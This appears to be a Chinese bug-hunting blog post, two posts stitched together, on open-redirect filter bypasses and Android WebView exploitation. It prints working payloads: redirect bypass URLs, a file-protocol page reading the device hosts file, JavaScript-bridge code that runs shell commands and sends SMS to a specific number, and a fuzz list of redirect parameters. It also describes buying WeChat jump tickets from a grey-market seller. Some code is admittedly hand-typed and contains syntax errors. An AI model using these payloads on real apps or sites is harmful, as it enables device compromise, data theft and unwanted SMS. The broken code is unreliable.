URL跳轉與webview安全淺談


URL跳轉與webview安全淺談

我博客的兩篇文章拼接在一起所以可能看起來有些亂

起因

在一次測試中我用burpsuite搜索了關鍵詞url找到了某處url
我測試了一下發現waf攔截了指向外域的請求,那么開始嘗試繞過。所以有了這次的文章

經過

第一個我測試的url是https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com我打開成功跳轉以為跳轉成功,but baidu.com是在白名單的所以我就只能想辦法去繞過他那么我經過了幾次繞過之后發現https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io跳轉成功,這是我覺得有必要總結一下url的跳轉繞過思路了,那么開始吧!!

正文

  • @  繞過
    這個是利用了我們瀏覽器的特性,現在除了Firefox瀏覽器大部分都可以完成這樣跳轉下面是跳轉的動態圖
    ![aite_redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/1.gif"|redirect}})

  • 問號繞過
    可以使用Referer的比如https://baidu.com 可以https://任意地址/?baidu.com

  • 錨點 繞過
    利用#會被瀏覽器解釋成HTML中的錨點 http://127.0.0.1/#qq.com

  • xip.io繞過
    http://www.baidu.com.127.0.0.1.xip.io/ 這樣之后會訪問127.0.0.1
How does it work?
xip.io runs a custom DNS server on the public Internet. When your computer looks up a xip.io domain, the xip.io DNS server extracts the IP address from the domain and sends it back in the response.

![xip]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/1.png"|xip}})
在公網上運行自定義的dns服務器,用他的服務器提取IP地址,在響應中將他取回

  • 反斜杠繞過
    我這次測試中也是使用了這種思路
    https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io

  • IP繞過

把目標的URL修改成IP地址,這樣也有可能繞過waf的攔截

  • chrome瀏覽器特性
    http:/\/baidu.com http:\//baidu.com /\/baidu.com http:\\\//baidu.com

    這樣的都會跳轉到百度

url跳轉到webview安全問題

我們這次的漏洞我在手機上測試的時候發現利用APP url Schema
也就是xxxx://app/webview?url=xxxxxxx
其實這里的任意webview跳轉已經構成漏洞了但是我想更加深入一下
看到webview我想到了利用file協議讀取用戶的敏感信息那么下面的兩篇文章可以補一下基礎
使用app內置webview 打開TextView中的超鏈接

烏雲案例
我們先用file://協議讀取一下測試文件試一下
![host]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/2.png"|host}})
我們可以看到成功讀取了手機的敏感host文件,但不是只要讀取成功就能完成利用的,我們還需要設計到發送並讀取
這邊我又測試了一下JavaScript的情況,發現開啟
那么我們在vps上搭建一下利用代碼

<html> <head> <title>test</title> </head> <script> var xmlHttp;                                //定義XMLHttpRequest對象 function createXmlHttpRequestObject(){         //如果在internet Explorer下運行         if(window.ActiveXObject){                 try{                         xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");                 }catch(e){                         xmlHttp=false;                 }         }else{         //如果在Mozilla或其他的瀏覽器下運行                 try{                         xmlHttp=new XMLHttpRequest();                 }catch(e){                         xmlHttp=false;                 }         }          //返回創建的對象或顯示錯誤信息         if(!xmlHttp)                 alert("error");                 else                 return xmlHttp; } function ReqHtml(){         createXmlHttpRequestObject();         path='file://'         path1='/system/etc/hosts'         xmlHttp.onreadystatechange=StatHandler;        //判斷URL調用的狀態值並處理         xmlHttp.open("GET",path+path1,false);        //調用test.txt         xmlHttp.send(null)         alert(1) } function StatHandler(){         if(xmlHttp.readyState==4 && xmlHttp.status==200){                 document.getElementById("webpage").innerHTML=xmlHttp.responseText;                 alert(xmlHttp.responseText)         } } ReqHtml() StatHandler() </script> <body> <div id="webpage"></div> </body> </html>

在app上測試一下發現不成功。。。。
之后才得知是因為同源策略導致的,在網上各種找方法繞過后無果,沒辦法之好放棄。
雖然這個應用繞不過我們可以mark一點姿勢
ps:很多代碼都是手碼的沒寫過JS所以可能會有一些錯誤不要見怪

<html>    <body>       <script>          function execute(cmdArgs)          {              return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);          }          var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);          document.write(getContents(res.getInputStream()));        </script>    </body> </html>

這個是執行命令的poc

<html> <head> <title>Test send</title> <script type="text/javascript"> function execute() {         var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);         sendsms.sendTextMessage("13722555165",null,"get",null,null); } </script> </head> <body> <input type="button"execute" value="test"/> </body> </html>
<html> <head> <title>Test sendsms</title> <script type="text/javascript"> function execute() {         var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);         sendsms.sendTextMessage("13722555165",null,"get",null,null); } </script> </head> <body> <input type="button"execute" value="test"/> </body> </html>

突然換目標

這是我想到了weixin的協議
weixin://看了官方的文檔之后我發現了微信支持如下操作

weixin://dl/general weixin://dl/favorites 收藏 weixin://dl/scan 掃一掃 weixin://dl/feedback 反饋 weixin://dl/moments 朋友圈 weixin://dl/settings 設置 weixin://dl/notifications 消息通知設置 weixin://dl/chat 聊天設置 weixin://dl/general 通用設置 weixin://dl/officialaccounts 公眾號 weixin://dl/games 游戲 weixin://dl/help 幫助 weixin://dl/feedback 反饋 weixin://dl/profile 個人信息 weixin://dl/features 功能插件

那。。。我平時打開小xx網站的時候突然彈出的微信是什么鬼
經過一番查找我找到了能夠跳轉的方法
weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx
那么這個ticket哪里來呢???
我在t00ls上看到一篇同樣關於這個微信協議的分析他說是有人在賣api我百度了一下找到了這個地址
![seoniao]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/3.png"|seoniao}})
我們注冊並登陸嘗試一下跳轉
![seoniao]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/4.png"|seoniao}})
果然還是收費,因為寫文章的時候比較早他們可能沒有上班所以就換個地方找一下
![redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/5.png"|redirect}})
我們加一下這個客服的qq
![screenshot]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/6.png"|screenshot}})
果然是我想象得那樣
weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4
我們手機打開一下我得測試網頁
<a href="weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4">demo</a>
成功打開微信並跳轉~~~~

URL 跳轉

這是我博客的兩篇文章拼在一起的

寫在前面

在技術學習中,用開闊的眼光看待安全問題會有不同的結論出現,我們本次文章所利用的思路源於國外的hackerone以及多個資源分享平台,文末會貼出鏈接,那么我們開始今天的URL跳轉的進階使用吧        (以后的博客質量會慢慢提升希望各位能多多提出建設性建議我的微信號:baiheming123456)

START

關於挖掘思路我相信各位都已經很熟悉了,尋找常見參數,或者使用谷歌dorking。例如:inurl:redirectUrl=http site:target.com我們在實戰中可以利用burpsuite的搜索功能去尋找30X的響應碼
![redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/redirect.png"|redirect}})

http的響應碼

  • 300--多種選擇
  • 301--永久移動
  • 302--發現
  • 307臨時重定向
  • 308永久重定向

我們尋找可能跳轉的鏈接這一步就基本上完成了,那么問題來了,絕大部分的網站都是不允許直接跳轉的。這樣就再一次回到了我們上一篇文章中提到的跳轉繞過了URL跳轉到Webview安全
我們可以參考上文中的一點點簡單的思路。BUT這些思路在實戰中遠遠不夠用。所以我們衍生了新的思路
我們假設URL basic版本就是?url=https://c1h2e1.github.io

URL_Redirect PLUS

如果你看過i春秋winway表哥的文章的話我相信對他URL的fuzz擴展思路一定很清楚了吧。我們這里就不放出文檔了因為是小密圈的東西
對於這個思路我們就理解為跳轉參數的fuzz了
我個人整理了一份烏雲案例上的
Parameter Payload下面奉上

success=https://c1h2e1.github.io next=https://c1h2e1.github.io data=https://c1h2e1.github.io url=https://c1h2e1.github.io qurl=https://c1h2e1.github.io login=https://c1h2e1.github.io logout=https://c1h2e1.github.io ext=https://c1h2e1.github.io clickurl=https://c1h2e1.github.io goto=https://c1h2e1.github.io redirect_url=https://c1h2e1.github.io redirect=https://c1h2e1.github.io rit_url=https://c1h2e1.github.io forward_url=https://c1h2e1.github.io @https://c1h2e1.github.io forward=https://c1h2e1.github.io pic=https://c1h2e1.github.io callback_url=https://c1h2e1.github.io jump=https://c1h2e1.github.io jump_url=https://c1h2e1.github.io click?u=https://c1h2e1.github.io originUrl=https://c1h2e1.github.io origin=https://c1h2e1.github.io Url=https://c1h2e1.github.io desturl=https://c1h2e1.github.io dest=https://c1h2e1.github.io u=https://c1h2e1.github.io page=https://c1h2e1.github.io u1=https://c1h2e1.github.io action=https://c1h2e1.github.io action_url=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io sp_url=https://c1h2e1.github.io service=https://c1h2e1.github.io recurl=https://c1h2e1.github.io j?url=https://c1h2e1.github.io url=//https://c1h2e1.github.io uri=https://c1h2e1.github.io u=https://c1h2e1.github.io allinurl:https://c1h2e1.github.io q=https://c1h2e1.github.io link=https://c1h2e1.github.io src=https://c1h2e1.github.io tc?src=https://c1h2e1.github.io linkAddress=https://c1h2e1.github.io location=https://c1h2e1.github.io go=https://c1h2e1.github.io burl=https://c1h2e1.github.io request=https://c1h2e1.github.io backurl=https://c1h2e1.github.io RedirectUrl=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io ReturnUrl=https://c1h2e1.github.io

這53個參數就是我們國內常用的參數了,我們可以通過他大量的進行fuzz尋找可用的參數

URL_Redirect PLUS PULS

經過思考我們可以發現在實戰中參數是一個比較重要的因素BUTURL的白名單限制如果做的好的話真的很難繞過,於是我在國外的一個網站上找到了一份URL_Payload的字典,與參數想結合之后完成了大殺器URL_Redirect PLUS PULS(手動滑稽)
我不是不想弄txt的。我主要是想讓各位看着更舒服一點雖然有點多,但是並沒有很麻煩


<>//Ⓛ


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM